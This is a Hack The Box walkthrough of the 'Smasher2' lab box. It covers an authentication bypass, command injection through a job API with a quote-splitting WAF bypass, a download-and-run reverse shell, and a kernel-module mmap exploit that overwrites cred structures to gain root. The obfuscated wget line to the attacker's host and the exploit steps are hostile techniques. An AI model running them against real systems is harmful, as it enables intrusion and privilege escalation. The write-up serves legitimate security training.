Hack The Box - Smasher2
Hack The Box - Smasher2
Quick Summary
Hey guys, today smasher2 retired and here’s my write-up about it. Smasher2 was an interesting box and one of the hardest I have ever solved. Starting with a web application vulnerable to authentication bypass and RCE
combined with a WAF
bypass, then a kernel module with an insecure mmap
handler implementation allowing users to access kernel memory. I enjoyed the box and learned a lot from it. It’s a Linux box and its ip is 10.10.10.135
, I added it to /etc/hosts
as smasher2.htb
. Let’s jump right in!
Nmap
As always we will start with nmap
to scan for open ports and services:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# nmap -sV -sT -sC -o nmapinitial smasher2.htb |
We got ssh
on port 22, dns
on port 53 and http
on port 80.
DNS
First thing I did was to enumerate vhosts
through the dns
server and I got 1 result:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# dig axfr smasher2.htb @10.10.10.135 |
wonderfulsessionmanager.smasher2.htb
, I added it to my hosts
file.
Web Enumeration
http://smasher2.htb
had the default Apache
index page:
http://wonderfulsessionmanager.smasher2.htb
:
The only interesting here was the login page:
I kept testing it for a while and the responses were like this one:
It didn’t request any new pages so I suspected that it’s doing an AJAX
request, I intercepted the login request to find out the endpoint it was requesting:
1 |
POST /auth HTTP/1.1 |
While browsing http://wonderfulsessionmanager.smasher2.htb
I had gobuster
running in the background on http://smasher2.htb/
:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# gobuster dir -u http://smasher2.htb/ -w /usr/share/wordlists/dirb/common.txt |
The only result that wasn’t 403
was /backup
so I checked that and found 2 files:
Note: Months ago when I solved this box for the first time /backup
was protected by basic http
authentication, that wasn’t the case when I revisited the box for the write-up even after resetting it. I guess it got removed, however it wasn’t an important step, it was just heavy brute force so the box is better without it.
I downloaded the files to my box:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# mkdir backup |
By looking at auth.py
I knew that these files were related to wonderfulsessionmanager.smasher2.htb
.
auth.py: Analysis
auth.py
:
1 |
#!/usr/bin/env python |
I read the code and these are the things that interest us:
After successful authentication the server will respond with a secret key that we can use to access the endpoint /api/<key>/job
:
1 |
ret["authenticated"] = True |
1 |
secret_token_info = ["/api/<api_key>/job", manager.secret_key, int(time.time())] |
That endpoint only accepts POST
requests:
1 |
@app.route("/api/<key>/job", methods=['POST']) |
And the sent data has to be json
:
1 |
data = request.get_json(silent=True) |
Through that endpoint we can execute system commands by providing them in a parameter called schedule
:
1 |
if "schedule" in data: |
session.so: Analysis –> Authentication Bypass
session.so
is a compiled shared python library, so
stands for shared object:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2/backup# file ses.so |
I opened it in ghidra
and started checking the functions. Two functions caught my attention, get_internal_pwd()
and get_internal_usr()
:
I looked at the decompiled code of both of them and noticed something strange, they were the exact same:get_internal_pwd()
:
1 |
undefined8 get_internal_pwd(undefined8 param_1) |
get_internal_usr()
:
1 |
undefined8 get_internal_usr(undefined8 param_1) |
1 |
root@kali:~/Desktop/HTB/boxes/smasher2/backup# diff getinternalusr getinternalpwd |
So in theory, since the two function are identical, providing the username as a password should work. Which means that it’s just a matter of finding an existing username and we’ll be able to bypass the authentication.
I tried some common usernames before attempting to use wfuzz
, Administrator
worked:
WAF Bypass –> RCE –> Shell as dzonerzy –> Root Flag
I wrote a small script to execute commands through /api/<key>/job
as we saw earlier in auth.py
, the script was meant for testing purposes:
1 |
#!/usr/bin/python3 |
Testing with whoami
worked just fine:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# ./test.py |
However when I tried other commands I got a 403
response indicating that the server was protected by a WAF
:
1 |
cmd: curl http://10.10.xx.xx |
I could easily bypass it by inserting single quotes in the command:
1 |
cmd: 'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't' |
1 |
Serving HTTP on 0.0.0.0 port 80 ... |
To automate the exploitation process I wrote this small exploit:
1 |
#!/usr/bin/python3 |
The exploit sends 2 commands, the first one is a wget
command that downloads shell.sh
and the other one executes it.shell.sh
:
1 |
#!/bin/bash |
I hosted it on a python server and I started a netcat
listener on port 1337 then I ran the exploit:
We owned user.
dhid.ko: Enumeration
After getting a shell I copied my public ssh
key to /home/dzonerzy/.ssh/authorized_keys
and got ssh access.
In the home directory of dzonerzy
there was a README
containing a message from him saying that we’ll need to think outside the box to root smasher2:
1 |
dzonerzy@smasher2:~$ ls -al |
After some enumeration, I checked the auth
log and saw this line:
1 |
dzonerzy@smasher2:~$ cat /var/log/auth.log |
insmod
(stands for insert module
) is a tool used to load kernel modules. dhid.ko
is a kernel module (ko
stands for kernel object)
1 |
dzonerzy@smasher2:~$ cd /lib/modules/4.15.0-45-generic/kernel/drivers/hid/ |
I checked the loaded kernel modules and that module was still loaded:
1 |
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ lsmod | grep dhid |
We can use modinfo
to list the information about that module, as you can see it was written by dzonerzy
:
1 |
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ modinfo dhid |
Last thing I wanted to check was if there was device driver file for the module:
1 |
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ ls -la /dev/ | grep dhid |
I downloaded the module on my box to start analyzing it:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# scp -i id_rsa [email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./ |
dhid.ko: Analysis
I opened the module in ghidra
then I started checking the functions:
The function dev_read()
had a hint that this is the intended way to root the box:
1 |
long dev_read(undefined8 param_1,undefined8 param_2) |
One interesting function that caught my attention was dev_mmap()
:
1 |
ulong dev_mmap(undefined8 param_1,long *param_2) |
In case you don’t know what mmap
is, simply mmap
is a system call which is used to map memory to a file or a device. (Check this)
The function dev_mmap()
is a custom mmap
handler.
The interesting part here is the call to remap_pfn_range()
function (remap kernel memory to userspace):
1 |
remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]); |
I checked the documentation of remap_pfn_range()
to know more about it, the function takes 5 arguments:
1 |
int remap_pfn_range (struct vm_area_struct * vma, |
Description of each argument:
1 |
struct vm_area_struct * vma |
If we look at the function call again we can see that the 3rd and 4th arguments (physical address of the kernel memory and size of map area) are given to the function without any prior validation:
1 |
ulong dev_mmap(undefined8 param_1,long *param_2) |
This means that we can map any size of memory we want and read/write to it, allowing us to even access the kernel memory.
dhid.ko: Exploitation –> Root Shell –> Root Flag
Luckily, this white paper had a similar scenario and explained the exploitation process very well, I recommend reading it after finishing the write-up, I will try to explain the process as good as I can but the paper will be more detailed. In summary, what’s going to happen is that we’ll map a huge amount of memory and search through it for our process’s cred
structure (The cred
structure holds our process credentials) then overwrite our uid
and gid
with 0
and execute /bin/sh
. Let’s go through it step by step.
First, we need to make sure that it’s really exploitable, we’ll try to map a huge amount of memory and check if it worked:
1 |
#include <stdio.h> |
I compiled the code and uploaded it to the box:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# gcc -o pwn pwn.c |
Then I ran it:
1 |
dzonerzy@smasher2:/dev/shm$ ./pwn |
From another ssh
session I checked the process memory mapping, the attempt was successful:
1 |
dzonerzy@smasher2:/dev/shm$ cat /proc/8186/maps |
Now we can start searching for the cred
structure that belongs to our process, if we take a look at the how the cred
structure looks like:
1 |
struct cred { |
We’ll notice that the first 8 integers (representing our uid
, gid
, saved uid
, saved gid
, effective uid
, effective gid
, uid
and gid
for the virtual file system) are known to us, which represents a reliable pattern to search for in the memory:
1 |
kuid_tuid;/* real UID of the task */ |
These 8 integers are followed by a variable called securebits
:
1 |
unsigned securebits; /* SUID-less security management */ |
Then that variable is followed by our capabilities:
1 |
kernel_cap_t cap_inheritable; /* caps our children can inherit */ |
Since we know the first 8 integers we can search through the memory for that pattern, when we find a valid cred
structure pattern we’ll overwrite each integer of the 8 with a 0
and check if our uid
changed to 0
, we’ll keep doing it until we overwrite the one which belongs to our process, then we’ll overwrite the capabilities with 0xffffffffffffffff
and execute /bin/sh
. Let’s try to implement the search for cred
structures first.
To do that we will get our uid
with getuid()
:
1 |
unsigned int uid = getuid(); |
Then search for 8 consecutive integers that are equal to our uid
, when we find a cred
structure we’ll print its pointer and keep searching:
1 |
while (((unsigned long)addr) < (mmapStart + size - 0x40)){ |
pwn.c
:
1 |
#include <stdio.h> |
It worked:
1 |
dzonerzy@smasher2:/dev/shm$ ./pwn |
Now we need to overwrite the cred
structure that belongs to our process, we’ll keep overwriting every cred
structure we find and check our uid
, when we overwrite the one that belongs to our process our uid
should be 0
:
1 |
credIt = 0; |
pwn.c
:
1 |
#include <stdio.h> |
1 |
dzonerzy@smasher2:/dev/shm$ ./pwn |
Great! now what’s left to do is to overwrite the capabilities in our cred
structure with 0xffffffffffffffff
and execute /bin/sh
:
1 |
credIt += 1; |
pwn.c
:
1 |
#include <stdio.h> |
And finally:
1 |
dzonerzy@smasher2:/dev/shm$ ./pwn |
We owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Wall
Next Hack The Box write-up : Hack The Box - Craft